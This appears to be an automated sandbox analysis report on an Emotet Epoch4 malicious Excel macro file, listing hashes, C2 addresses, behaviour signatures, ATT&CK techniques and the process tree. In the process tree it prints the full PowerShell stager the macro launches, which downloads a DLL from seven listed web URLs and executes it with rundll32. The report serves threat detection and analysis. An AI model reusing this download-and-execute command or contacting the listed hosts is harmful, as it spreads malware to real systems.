emotet | ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

General

Target

865663204559_17_Nov_2021.xlsm
Size

44KB
MD5

477fd718bb764ffe3c5afde16c6c8dd2
SHA1

eb932e19d95f88d64270d40cdc0b92c6d1cf63be
SHA256

ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3
SHA512

f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score

10^/10

emotet epoch4 banker suricata trojan

Malware Config

Extracted

Family

emotet

Botnet

Epoch4

C2

91.200.186.228:443

191.252.196.221:8080

94.177.248.64:443

66.42.55.5:7080

103.8.26.103:8080

185.184.25.237:8080

103.8.26.102:8080

178.79.147.66:8080

58.227.42.236:80

45.118.135.203:7080

103.75.201.2:443

195.154.133.20:443

45.142.114.231:8080

212.237.5.209:443

207.38.84.195:8080

104.251.214.46:8080

212.237.17.99:8080

212.237.56.116:7080

216.158.226.206:443

110.232.117.186:8080

eck1.plain

ecs1.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2648	2772	cmd.exe	EXCEL.EXE

suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata: ET MALWARE ABUSE.CH SSL Blacklist Malicious SSL certificate detected (Dridex/Trickbot CnC)
suricata
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata
Blocklisted process makes network request 4 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

15 3504 powershell.exe
23 3504 powershell.exe
35 1584 rundll32.exe
36 1584 rundll32.exe
Downloads MZ/PE file
Loads dropped DLL 2 IoCs

Processes:

rundll32.exerundll32.exe

pid process

652 rundll32.exe
868 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Xckwcvpdfqtsymy\tchlvc.htc rundll32.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

flow	pid	process
15	3504	powershell.exe
23	3504	powershell.exe
35	1584	rundll32.exe
36	1584	rundll32.exe

pid	process
652	rundll32.exe
868	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Xckwcvpdfqtsymy\tchlvc.htc	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2772 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 5 IoCs

Processes:

powershell.exerundll32.exe

pid process

3504 powershell.exe
3504 powershell.exe
3504 powershell.exe
1584 rundll32.exe
1584 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3504 powershell.exe

pid	process
3504	powershell.exe
3504	powershell.exe
3504	powershell.exe
1584	rundll32.exe
1584	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3504	powershell.exe

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

EXCEL.EXE

pid	process
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE
2772	EXCEL.EXE

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

EXCEL.EXEcmd.exepowershell.exerundll32.exerundll32.exerundll32.exe

description	pid	process	target process
PID 2772 wrote to memory of 2648	2772	EXCEL.EXE	cmd.exe
PID 2772 wrote to memory of 2648	2772	EXCEL.EXE	cmd.exe
PID 2648 wrote to memory of 3504	2648	cmd.exe	powershell.exe
PID 2648 wrote to memory of 3504	2648	cmd.exe	powershell.exe
PID 3504 wrote to memory of 652	3504	powershell.exe	rundll32.exe
PID 3504 wrote to memory of 652	3504	powershell.exe	rundll32.exe
PID 3504 wrote to memory of 652	3504	powershell.exe	rundll32.exe
PID 652 wrote to memory of 868	652	rundll32.exe	rundll32.exe
PID 652 wrote to memory of 868	652	rundll32.exe	rundll32.exe
PID 652 wrote to memory of 868	652	rundll32.exe	rundll32.exe
PID 868 wrote to memory of 1636	868	rundll32.exe	rundll32.exe
PID 868 wrote to memory of 1636	868	rundll32.exe	rundll32.exe
PID 868 wrote to memory of 1636	868	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe
PID 1636 wrote to memory of 1584	1636	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2648

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3504

C:\Windows\SysWow64\rundll32.exe
"C:\Windows\SysWow64\rundll32.exe" C:\ProgramData\240041168.dll,f1228091526
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:652

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\240041168.dll",Control_RunDLL
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xckwcvpdfqtsymy\tchlvc.htc",LpFnwazG
6⤵
- Suspicious use of WriteProcessMemory
PID:1636

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Xckwcvpdfqtsymy\tchlvc.htc",Control_RunDLL
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1584

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

3

T1082

Query Registry

2

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\ProgramData\240041168.dll
MD5
8d7b38a64716482257f85636c493908a

SHA1
297f32d9f037815046ef4647197b133369c808ff

SHA256
c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599

SHA512
10ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0

Download Submit
\ProgramData\240041168.dll
MD5
8d7b38a64716482257f85636c493908a

SHA1
297f32d9f037815046ef4647197b133369c808ff

SHA256
c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599

SHA512
10ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0

Download Submit
\ProgramData\240041168.dll
MD5
8d7b38a64716482257f85636c493908a

SHA1
297f32d9f037815046ef4647197b133369c808ff

SHA256
c5658dfae705cd7ca667723dab4834fef0b0ad574a278b35fddbdf3311e24599

SHA512
10ff4f53deefa7de1ade08f179c32e62539bab78ad349c57164183ce7dd4990f04f2cc347913ab0c740447e5506a561be116d6820649ff435d2186393c1059b0

Download Submit
memory/652-323-0x0000000000000000-mapping.dmp

Download
memory/652-340-0x0000000010000000-0x0000000010028000-memory.dmp

Filesize
160KB

Download
memory/868-339-0x0000000000000000-mapping.dmp

Download
memory/1584-343-0x0000000000000000-mapping.dmp

Download
memory/1636-342-0x0000000000000000-mapping.dmp

Download
memory/2648-274-0x0000000000000000-mapping.dmp

Download
memory/2772-123-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-125-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-124-0x00000214D4C90000-0x00000214D4C92000-memory.dmp

Filesize
8KB

Download
memory/2772-118-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-122-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-121-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-120-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/2772-119-0x00007FF83D520000-0x00007FF83D530000-memory.dmp

Filesize
64KB

Download
memory/3504-289-0x000002939D900000-0x000002939D902000-memory.dmp

Filesize
8KB

Download
memory/3504-290-0x000002939D903000-0x000002939D905000-memory.dmp

Filesize
8KB

Download
memory/3504-298-0x000002939D906000-0x000002939D908000-memory.dmp

Filesize
8KB

Download
memory/3504-315-0x000002939D908000-0x000002939D909000-memory.dmp

Filesize
4KB

Download
memory/3504-279-0x0000000000000000-mapping.dmp

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads